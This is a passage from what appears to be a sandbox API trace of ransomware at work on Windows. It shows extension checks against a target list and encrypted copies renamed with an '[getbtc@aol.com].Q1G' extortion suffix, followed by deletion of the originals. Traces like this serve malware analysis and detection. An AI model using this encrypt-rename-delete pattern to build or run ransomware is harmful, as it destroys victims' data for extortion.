lstrlenW (lpString=".bz2") returned 4 [0037.552] lstrcmpiW (lpString1=".bz2", lpString2=".EPS") returned -1 [0037.552] lstrlenW (lpString=".7z") returned 3 [0037.552] lstrcmpiW (lpString1=".7z", lpString2="EPS") returned -1 [0037.552] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\MS.EPS") returned 61 [0037.552] lstrlenW (lpString=".dbf") returned 4 [0037.552] lstrcmpiW (lpString1=".dbf", lpString2=".EPS") returned -1 [0037.552] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\MS.EPS") returned 61 [0037.553] lstrlenW (lpString=".1cd") returned 4 [0037.553] lstrcmpiW (lpString1=".1cd", lpString2=".EPS") returned -1 [0037.553] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\MS.EPS") returned 61 [0037.553] lstrlenW (lpString=".jpg") returned 4 [0037.553] lstrcmpiW (lpString1=".jpg", lpString2=".EPS") returned 1 [0037.553] lstrcmpiW (lpString1=".GIF", lpString2=".Q1G") returned -1 [0037.553] lstrlenW (lpString="MS.GIF") returned 6 [0037.553] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\MS.GIF" (normalized: "c:\\program files\\common files\\microsoft shared\\grphflt\\ms.gif"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1d0 [0037.553] GetFileSizeEx (in: hFile=0x1d0, lpFileSize=0x2c7ff1c | out: lpFileSize=0x2c7ff1c*=1069) returned 1 [0037.553] CloseHandle (hObject=0x1d0) returned 1 [0037.553] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\MS.GIF" (normalized: "c:\\program files\\common files\\microsoft shared\\grphflt\\ms.gif")) returned 0x20 [0037.553] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\MS.GIF.id-9C354B42.[getbtc@aol.com].Q1G" (normalized: "c:\\program files\\common files\\microsoft shared\\grphflt\\ms.gif.id-9c354b42.[getbtc@aol.com].q1g")) returned 0xffffffff [0037.553] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\MS.GIF" (normalized: "c:\\program files\\common files\\microsoft shared\\grphflt\\ms.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1d0 [0037.553] SetFilePointerEx (in: hFile=0x1d0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c7fec8 | out: lpNewFilePointer=0x0) returned 1 [0037.554] SetFilePointerEx (in: hFile=0x1d0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c7fec8 | out: lpNewFilePointer=0x0) returned 1 [0037.554] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\MS.GIF.id-9C354B42.[getbtc@aol.com].Q1G" (normalized: "c:\\program files\\common files\\microsoft shared\\grphflt\\ms.gif.id-9c354b42.[getbtc@aol.com].q1g"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1ec [0037.554] GetLastError () returned 0x0 [0037.554] ReadFile (in: hFile=0x1d0, lpBuffer=0x34e0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2c7fed4, lpOverlapped=0x0 | out: lpBuffer=0x34e0020*, lpNumberOfBytesRead=0x2c7fed4*=0x42d, lpOverlapped=0x0) returned 1 [0037.555] WriteFile (in: hFile=0x1ec, lpBuffer=0x34e0020*, nNumberOfBytesToWrite=0x430, lpNumberOfBytesWritten=0x2c7fc9c, lpOverlapped=0x0 | out: lpBuffer=0x34e0020*, lpNumberOfBytesWritten=0x2c7fc9c*=0x430, lpOverlapped=0x0) returned 1 [0037.556] ReadFile (in: hFile=0x1d0, lpBuffer=0x34e0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2c7fed4, lpOverlapped=0x0 | out: lpBuffer=0x34e0020*, lpNumberOfBytesRead=0x2c7fed4*=0x0, lpOverlapped=0x0) returned 1 [0037.556] WriteFile (in: hFile=0x1ec, lpBuffer=0x34e0020*, nNumberOfBytesToWrite=0xe0, lpNumberOfBytesWritten=0x2c7fc9c, lpOverlapped=0x0 | out: lpBuffer=0x34e0020*, lpNumberOfBytesWritten=0x2c7fc9c*=0xe0, lpOverlapped=0x0) returned 1 [0037.556] SetEndOfFile (hFile=0x1ec) returned 1 [0037.556] CloseHandle (hObject=0x1ec) returned 1 [0037.557] SetFilePointerEx (in: hFile=0x1d0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c7fec8 | out: lpNewFilePointer=0x0) returned 1 [0037.557] SetEndOfFile (hFile=0x1d0) returned 1 [0037.558] CloseHandle (hObject=0x1d0) returned 1 [0037.558] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\MS.GIF.id-9C354B42.[getbtc@aol.com].Q1G", dwFileAttributes=0x20) returned 1 [0037.558] DeleteFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\MS.GIF" (normalized: "c:\\program files\\common files\\microsoft shared\\grphflt\\ms.gif")) returned 1 [0037.558] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\MS.GIF") returned 61 [0037.558] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\MS.GIF") returned 61 [0037.558] lstrlenW (lpString=".doc") returned 4 [0037.558] lstrcmpiW (lpString1=".doc", lpString2=".GIF") returned -1 [0037.558] lstrlenW (lpString=".docx") returned 5 [0037.558] lstrcmpiW (lpString1=".docx", lpString2="S.GIF") returned -1 [0037.558] lstrlenW (lpString=".pdf") returned 4 [0037.558] lstrcmpiW (lpString1=".pdf", lpString2=".GIF") returned 1 [0037.558] lstrlenW (lpString=".xls") returned 4 [0037.558] lstrcmpiW (lpString1=".xls", lpString2=".GIF") returned 1 [0037.558] lstrlenW (lpString=".xlsx") returned 5 [0037.559] lstrcmpiW (lpString1=".xlsx", lpString2="S.GIF") returned -1 [0037.559] lstrlenW (lpString=".ppt") returned 4 [0037.559] lstrcmpiW (lpString1=".ppt", lpString2=".GIF") returned 1 [0037.559] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\MS.GIF") returned 61 [0037.559] lstrlenW (lpString=".zip") returned 4 [0037.559] lstrcmpiW (lpString1=".zip", lpString2=".GIF") returned 1 [0037.559] lstrlenW (lpString=".rar") returned 4 [0037.559] lstrcmpiW (lpString1=".rar", lpString2=".GIF") returned 1 [0037.559] lstrlenW (lpString=".bz2") returned 4 [0037.559] lstrcmpiW (lpString1=".bz2", lpString2=".GIF") returned -1 [0037.559] lstrlenW (lpString=".7z") returned 3 [0037.559] lstrcmpiW (lpString1=".7z", lpString2="GIF") returned -1 [0037.559] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\MS.GIF") returned 61 [0037.559] lstrlenW (lpString=".dbf") returned 4 [0037.559] lstrcmpiW (lpString1=".dbf", lpString2=".GIF") returned -1 [0037.559] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\MS.GIF") returned 61 [0037.559] lstrlenW (lpString=".1cd") returned 4 [0037.559] lstrcmpiW (lpString1=".1cd", lpString2=".GIF") returned -1 [0037.559] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\MS.GIF") returned 61 [0037.559] lstrlenW (lpString=".jpg") returned 4 [0037.559] lstrcmpiW (lpString1=".jpg", lpString2=".GIF") returned 1 [0037.559] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\MS.GIF") returned 61 [0037.559] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\MS.GIF") returned 61 [0037.559] lstrlenW (lpString=".doc") returned 4 [0037.559] lstrcmpiW (lpString1=".doc", lpString2=".GIF") returned -1 [0037.559] lstrlenW (lpString=".docx") returned 5 [0037.559] lstrcmpiW (lpString1=".docx", lpString2="S.GIF") returned -1 [0037.559] lstrlenW (lpString=".pdf") returned 4 [0037.559] lstrcmpiW (lpString1=".pdf", lpString2=".GIF") returned 1 [0037.559] lstrlenW (lpString=".xls") returned 4 [0037.559] lstrcmpiW (lpString1=".xls", lpString2=".GIF") returned 1 [0037.560] lstrlenW (lpString=".xlsx") returned 5 [0037.560] lstrcmpiW (lpString1=".xlsx", lpString2="S.GIF") returned -1 [0037.560] lstrlenW (lpString=".ppt") returned 4 [0037.560] lstrcmpiW (lpString1=".ppt", lpString2=".GIF") returned 1 [0037.560] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\MS.GIF") returned 61 [0037.560] lstrlenW (lpString=".zip") returned 4 [0037.560] lstrcmpiW (lpString1=".zip", lpString2=".GIF") returned 1 [0037.560] lstrlenW (lpString=".rar") returned 4 [0037.560] lstrcmpiW (lpString1=".rar", lpString2=".GIF") returned 1 [0037.560] lstrlenW (lpString=".bz2") returned 4 [0037.560] lstrcmpiW (lpString1=".bz2", lpString2=".GIF") returned -1 [0037.560] lstrlenW (lpString=".7z") returned 3 [0037.560] lstrcmpiW (lpString1=".7z", lpString2="GIF") returned -1 [0037.560] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\MS.GIF") returned 61 [0037.560] lstrlenW (lpString=".dbf") returned 4 [0037.560] lstrcmpiW (lpString1=".dbf", lpString2=".GIF") returned -1 [0037.560] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\MS.GIF") returned 61 [0037.560] lstrlenW (lpString=".1cd") returned 4 [0037.560] lstrcmpiW (lpString1=".1cd", lpString2=".GIF") returned -1 [0037.560] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\MS.GIF") returned 61 [0037.560] lstrlenW (lpString=".jpg") returned 4 [0037.560] lstrcmpiW (lpString1=".jpg", lpString2=".GIF") returned 1 [0037.560] lstrcmpiW (lpString1=".JPG", lpString2=".Q1G") returned -1 [0037.560] lstrlenW (lpString="MS.JPG") returned 6 [0037.560] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\MS.JPG" (normalized: "c:\\program files\\common files\\microsoft shared\\grphflt\\ms.jpg"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1d0 [0037.561] GetFileSizeEx (in: hFile=0x1d0, lpFileSize=0x2c7ff1c | out: lpFileSize=0x2c7ff1c*=1061) returned 1 [0037.561] CloseHandle (hObject=0x1d0) returned 1 [0037.561] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\MS.JPG" (normalized: "c:\\program files\\common files\\microsoft shared\\grphflt\\ms.jpg")) returned 0x20 [0037.561] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\MS.JPG.id-9C354B42.[getbtc@aol.com].Q1G" (normalized: "c:\\program files\\common files\\microsoft shared\\grphflt\\ms.jpg.id-9c354b42.[getbtc@aol.com].q1g")) returned 0xffffffff [0037.562] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\MS.JPG" (normalized: "c:\\program files\\common files\\microsoft shared\\grphflt\\ms.jpg"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1d0 [0037.562] SetFilePointerEx (in: hFile=0x1d0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c7fec8 | out: lpNewFilePointer=0x0) returned 1 [0037.562] SetFilePointerEx (in: hFile=0x1d0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c7fec8 | out: lpNewFilePointer=0x0) returned 1 [0037.562] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\MS.JPG.id-9C354B42.[getbtc@aol.com].Q1G" (normalized: "c:\\program files\\common files\\microsoft shared\\grphflt\\ms.jpg.id-9c354b42.[getbtc@aol.com].q1g"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1ec [0037.562] GetLastError () returned 0x0 [0037.562] ReadFile (in: hFile=0x1d0, lpBuffer=0x34e0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2c7fed4, lpOverlapped=0x0 | out: lpBuffer=0x34e0020*, lpNumberOfBytesRead=0x2c7fed4*=0x425, lpOverlapped=0x0) returned 1 [0037.563] WriteFile (in: hFile=0x1ec, lpBuffer=0x34e0020*, nNumberOfBytesToWrite=0x430, lpNumberOfBytesWritten=0x2c7fc9c, lpOverlapped=0x0 | out: lpBuffer=0x34e0020*, lpNumberOfBytesWritten=0x2c7fc9c*=0x430, lpOverlapped=0x0) returned 1 [0037.565] ReadFile (in: hFile=0x1d0, lpBuffer=0x34e0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2c7fed4, lpOverlapped=0x0 | out: lpBuffer=0x34e0020*, lpNumberOfBytesRead=0x2c7fed4*=0x0, lpOverlapped=0x0) returned 1 [0037.565] WriteFile (in: hFile=0x1ec, lpBuffer=0x34e0020*, nNumberOfBytesToWrite=0xe0, lpNumberOfBytesWritten=0x2c7fc9c, lpOverlapped=0x0 | out: lpBuffer=0x34e0020*, lpNumberOfBytesWritten=0x2c7fc9c*=0xe0, lpOverlapped=0x0) returned 1 [0037.565] SetEndOfFile (hFile=0x1ec) returned 1 [0037.565] CloseHandle (hObject=0x1ec) returned 1 [0037.565] SetFilePointerEx (in: hFile=0x1d0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c7fec8 | out: lpNewFilePointer=0x0) returned 1 [0037.565] SetEndOfFile (hFile=0x1d0) returned 1 [0037.566] CloseHandle (hObject=0x1d0) returned 1 [0037.566] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\MS.JPG.id-9C354B42.[getbtc@aol.com].Q1G", dwFileAttributes=0x20) returned 1 [0037.566] DeleteFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\MS.JPG" (normalized: "c:\\program files\\common files\\microsoft shared\\grphflt\\ms.jpg")) returned 1 [0037.567] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\MS.JPG") returned 61 [0037.567] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\MS.JPG") returned 61 [0037.567] lstrlenW (lpString=".doc") returned 4 [0037.567] lstrcmpiW (lpString1=".doc", lpString2=".JPG") returned -1 [0037.567] lstrlenW (lpString=".docx") returned 5 [0037.567] lstrcmpiW (lpString1=".docx", lpString2="S.JPG") returned -1 [0037.567] lstrlenW (lpString=".pdf") returned 4 [0037.567] lstrcmpiW (lpString1=".pdf", lpString2=".JPG") returned 1 [0037.567] lstrlenW (lpString=".xls") returned 4 [0037.567] lstrcmpiW (lpString1=".xls", lpString2=".JPG") returned 1 [0037.567] lstrlenW (lpString=".xlsx") returned 5 [0037.567] lstrcmpiW (lpString1=".xlsx", lpString2="S.JPG") returned -1 [0037.567] lstrlenW (lpString=".ppt") returned 4 [0037.567] lstrcmpiW (lpString1=".ppt", lpString2=".JPG") returned 1 [0037.567] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\MS.JPG") returned 61 [0037.567] lstrlenW (lpString=".zip") returned 4 [0037.567] lstrcmpiW (lpString1=".zip", lpString2=".JPG") returned 1 [0037.567] lstrlenW (lpString=".rar") returned 4 [0037.567] lstrcmpiW (lpString1=".rar", lpString2=".JPG") returned 1 [0037.567] lstrlenW (lpString=".bz2") returned 4 [0037.567] lstrcmpiW (lpString1=".bz2", lpString2=".JPG") returned -1 [0037.567] lstrlenW (lpString=".7z") returned 3 [0037.567] lstrcmpiW (lpString1=".7z", lpString2="JPG") returned -1 [0037.567] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\MS.JPG") returned 61 [0037.567] lstrlenW (lpString=".dbf") returned 4 [0037.567] lstrcmpiW (lpString1=".dbf", lpString2=".JPG") returned -1 [0037.567] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\MS.JPG") returned 61 [0037.567] lstrlenW (lpString=".1cd") returned 4 [0037.567] lstrcmpiW (lpString1=".1cd", lpString2=".JPG") returned -1 [0037.568] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\MS.JPG") returned 61 [0037.568] lstrlenW (lpString=".jpg") returned 4 [0037.568] lstrcmpiW (lpString1=".jpg", lpString2=".JPG") returned 0 [0037.568] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\MS.JPG") returned 61 [0037.568] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\MS.JPG") returned 61 [0037.568] lstrlenW (lpString=".doc") returned 4 [0037.568] lstrcmpiW (lpString1=".doc", lpString2=".JPG") returned -1 [0037.568] lstrlenW (lpString=".docx") returned 5 [0037.568] lstrcmpiW (lpString1=".docx", lpString2="S.JPG") returned -1 [0037.568] lstrlenW (lpString=".pdf") returned 4 [0037.568] lstrcmpiW (lpString1=".pdf", lpString2=".JPG") returned 1 [0037.568] lstrlenW (lpString=".xls") returned 4 [0037.568] lstrcmpiW (lpString1=".xls", lpString2=".JPG") returned 1 [0037.568] lstrlenW (lpString=".xlsx") returned 5 [0037.568] lstrcmpiW (lpString1=".xlsx", lpString2="S.JPG") returned -1 [0037.568] lstrlenW (lpString=".ppt") returned 4 [0037.568] lstrcmpiW (lpString1=".ppt", lpString2=".JPG") returned 1 [0037.568] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\MS.JPG") returned 61 [0037.568] lstrlenW (lpString=".zip") returned 4 [0037.568] lstrcmpiW (lpString1=".zip", lpString2=".JPG") returned 1 [0037.568] lstrlenW (lpString=".rar") returned 4 [0037.568] lstrcmpiW (lpString1=".rar", lpString2=".JPG") returned 1 [0037.568] lstrlenW (lpString=".bz2") returned 4 [0037.568] lstrcmpiW (lpString1=".bz2", lpString2=".JPG") returned -1 [0037.568] lstrlenW (lpString=".7z") returned 3 [0037.569] lstrcmpiW (lpString1=".7z", lpString2="JPG") returned -1 [0037.569] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\MS.JPG") returned 61 [0037.569] lstrlenW (lpString=".dbf") returned 4 [0037.569] lstrcmpiW (lpString1=".dbf", lpString2=".JPG") returned -1 [0037.569] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\MS.JPG") returned 61 [0037.569] lstrlenW (lpString=".1cd") returned 4 [0037.569] lstrcmpiW (lpString1=".1cd", lpString2=".JPG") returned -1 [0037.569] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\MS.JPG") returned 61 [0037.569] lstrlenW (lpString=".jpg") returned 4 [0037.569] lstrcmpiW (lpString1=".jpg", lpString2=".JPG") returned 0 [0037.569] lstrcmpiW (lpString1=".PNG", lpString2=".Q1G") returned -1 [0037.569] lstrlenW (lpString="MS.PNG") returned 6 [0037.569] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\MS.PNG" (normalized: "c:\\program files\\common files\\microsoft shared\\grphflt\\ms.png"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1d0 [0037.569] GetFileSizeEx (in: hFile=0x1d0, lpFileSize=0x2c7ff1c | out: lpFileSize=0x2c7ff1c*=1682) returned 1 [0037.569] CloseHandle (hObject=0x1d0) returned 1 [0037.569] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\MS.PNG" (normalized: "c:\\program files\\common files\\microsoft shared\\grphflt\\ms.png")) returned 0x20 [0037.569] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\MS.PNG.id-9C354B42.[getbtc@aol.com].Q1G" (normalized: "c:\\program files\\common files\\microsoft shared\\grphflt\\ms.png.id-9c354b42.[getbtc@aol.com].q1g")) returned 0xffffffff [0037.569] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\MS.PNG" (normalized: "c:\\program files\\common files\\microsoft shared\\grphflt\\ms.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1d0 [0037.570] SetFilePointerEx (in: hFile=0x1d0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c7fec8 | out: lpNewFilePointer=0x0) returned 1 [0037.570] SetFilePointerEx (in: hFile=0x1d0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c7fec8 | out: lpNewFilePointer=0x0) returned 1 [0037.570] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\MS.PNG.id-9C354B42.[getbtc@aol.com].Q1G" (normalized: "c:\\program files\\common files\\microsoft shared\\grphflt\\ms.png.id-9c354b42.[getbtc@aol.com].q1g"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1ec [0037.570] GetLastError () returned 0x0 [0037.570] ReadFile (in: hFile=0x1d0, lpBuffer=0x34e0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2c7fed4, lpOverlapped=0x0 | out: lpBuffer=0x34e0020*, lpNumberOfBytesRead=0x2c7fed4*=0x692, lpOverlapped=0x0) returned 1 [0037.571] WriteFile (in: hFile=0x1ec, lpBuffer=0x34e0020*, nNumberOfBytesToWrite=0x6a0, lpNumberOfBytesWritten=0x2c7fc9c, lpOverlapped=0x0 | out: lpBuffer=0x34e0020*, lpNumberOfBytesWritten=0x2c7fc9c*=0x6a0, lpOverlapped=0x0) returned 1 [0037.572] ReadFile (in: hFile=0x1d0, lpBuffer=0x34e0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2c7fed4, lpOverlapped=0x0 | out: lpBuffer=0x34e0020*, lpNumberOfBytesRead=0x2c7fed4*=0x0, lpOverlapped=0x0) returned 1 [0037.572] WriteFile (in: hFile=0x1ec, lpBuffer=0x34e0020*, nNumberOfBytesToWrite=0xe0, lpNumberOfBytesWritten=0x2c7fc9c, lpOverlapped=0x0 | out: lpBuffer=0x34e0020*, lpNumberOfBytesWritten=0x2c7fc9c*=0xe0, lpOverlapped=0x0) returned 1 [0037.572] SetEndOfFile (hFile=0x1ec) returned 1 [0037.573] CloseHandle (hObject=0x1ec) returned 1 [0037.573] SetFilePointerEx (in: hFile=0x1d0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c7fec8 | out: lpNewFilePointer=0x0) returned 1 [0037.573] SetEndOfFile (hFile=0x1d0) returned 1 [0037.574] CloseHandle (hObject=0x1d0) returned 1 [0037.574] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\MS.PNG.id-9C354B42.[getbtc@aol.com].Q1G", dwFileAttributes=0x20) returned 1 [0037.574] DeleteFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\MS.PNG" (normalized: "c:\\program files\\common files\\microsoft shared\\grphflt\\ms.png")) returned 1 [0037.574] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\MS.PNG") returned 61 [0037.574] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\MS.PNG") returned 61 [0037.574] lstrlenW (lpString=".doc") returned 4 [0037.574] lstrcmpiW (lpString1=".doc", lpString2=".PNG") returned -1 [0037.574] lstrlenW (lpString=".docx") returned 5 [0037.574] lstrcmpiW (lpString1=".docx", lpString2="S.PNG") returned -1 [0037.574] lstrlenW (lpString=".pdf") returned 4 [0037.574] lstrcmpiW (lpString1=".pdf", lpString2=".PNG") returned -1 [0037.574] lstrlenW (lpString=".xls") returned 4 [0037.574] lstrcmpiW (lpString1=".xls", lpString2=".PNG") returned 1 [0037.574] lstrlenW (lpString=".xlsx") returned 5 [0037.574] lstrcmpiW (lpString1=".xlsx", lpString2="S.PNG") returned -1 [0037.575] lstrlenW (lpString=".ppt") returned 4 [0037.575] lstrcmpiW (lpString1=".ppt", lpString2=".PNG") returned 1 [0037.575] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\MS.PNG") returned 61 [0037.575] lstrlenW (lpString=".zip") returned 4 [0037.575] lstrcmpiW (lpString1=".zip", lpString2=".PNG") returned 1 [0037.575] lstrlenW (lpString=".rar") returned 4 [0037.575] lstrcmpiW (lpString1=".rar", lpString2=".PNG") returned 1 [0037.575] lstrlenW (lpString=".bz2") returned 4 [0037.575] lstrcmpiW (lpString1=".bz2", lpString2=".PNG") returned -1 [0037.575] lstrlenW (lpString=".7z") returned 3 [0037.575] lstrcmpiW (lpString1=".7z", lpString2="PNG") returned -1 [0037.575] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\MS.PNG") returned 61 [0037.575] lstrlenW (lpString=".dbf") returned 4 [0037.575] lstrcmpiW (lpString1=".dbf", lpString2=".PNG") returned -1 [0037.575] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\MS.PNG") returned 61 [0037.575] lstrlenW (lpString=".1cd") returned 4 [0037.575] lstrcmpiW (lpString1=".1cd", lpString2=".PNG") returned -1 [0037.575] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\MS.PNG") returned 61 [0037.575] lstrlenW (lpString=".jpg") returned 4 [0037.575] lstrcmpiW (lpString1=".jpg", lpString2=".PNG") returned -1 [0037.575] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\MS.PNG") returned 61 [0037.575] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\MS.PNG") returned 61 [0037.575] lstrlenW (lpString=".doc") returned 4 [0037.575] lstrcmpiW (lpString1=".doc", lpString2=".PNG") returned -1 [0037.575] lstrlenW (lpString=".docx") returned 5 [0037.575] lstrcmpiW (lpString1=".docx", lpString2="S.PNG") returned -1 [0037.575] lstrlenW (lpString=".pdf") returned 4 [0037.575] lstrcmpiW (lpString1=".pdf", lpString2=".PNG") returned -1 [0037.575] lstrlenW (lpString=".xls") returned 4 [0037.575] lstrcmpiW (lpString1=".xls", lpString2=".PNG") returned 1 [0037.575] lstrlenW (lpString=".xlsx") returned 5 [0037.575] lstrcmpiW (lpString1=".xlsx", lpString2="S.PNG") returned -1 [0037.576] lstrlenW (lpString=".ppt") returned 4 [0037.576] lstrcmpiW (lpString1=".ppt", lpString2=".PNG") returned 1 [0037.576] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\MS.PNG") returned 61 [0037.576] lstrlenW (lpString=".zip") returned 4 [0037.576] lstrcmpiW (lpString1=".zip", lpString2=".PNG") returned 1 [0037.576] lstrlenW (lpString=".rar") returned 4 [0037.576] lstrcmpiW (lpString1=".rar", lpString2=".PNG") returned 1 [0037.576] lstrlenW (lpString=".bz2") returned 4 [0037.576] lstrcmpiW (lpString1=".bz2", lpString2=".PNG") returned -1 [0037.576] lstrlenW (lpString=".7z") returned 3 [0037.576] lstrcmpiW (lpString1=".7z", lpString2="PNG") returned -1 [0037.576] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\MS.PNG") returned 61 [0037.576] lstrlenW (lpString=".dbf") returned 4 [0037.576] lstrcmpiW (lpString1=".dbf", lpString2=".PNG") returned -1 [0037.576] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\MS.PNG") returned 61 [0037.576] lstrlenW (lpString=".1cd") returned 4 [0037.576] lstrcmpiW (lpString1=".1cd", lpString2=".PNG") returned -1 [0037.576] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\MS.PNG") returned 61 [0037.576] lstrlenW (lpString=".jpg") returned 4 [0037.576] lstrcmpiW (lpString1=".jpg", lpString2=".PNG") returned -1 [0037.576] lstrcmpiW (lpString1=".xml", 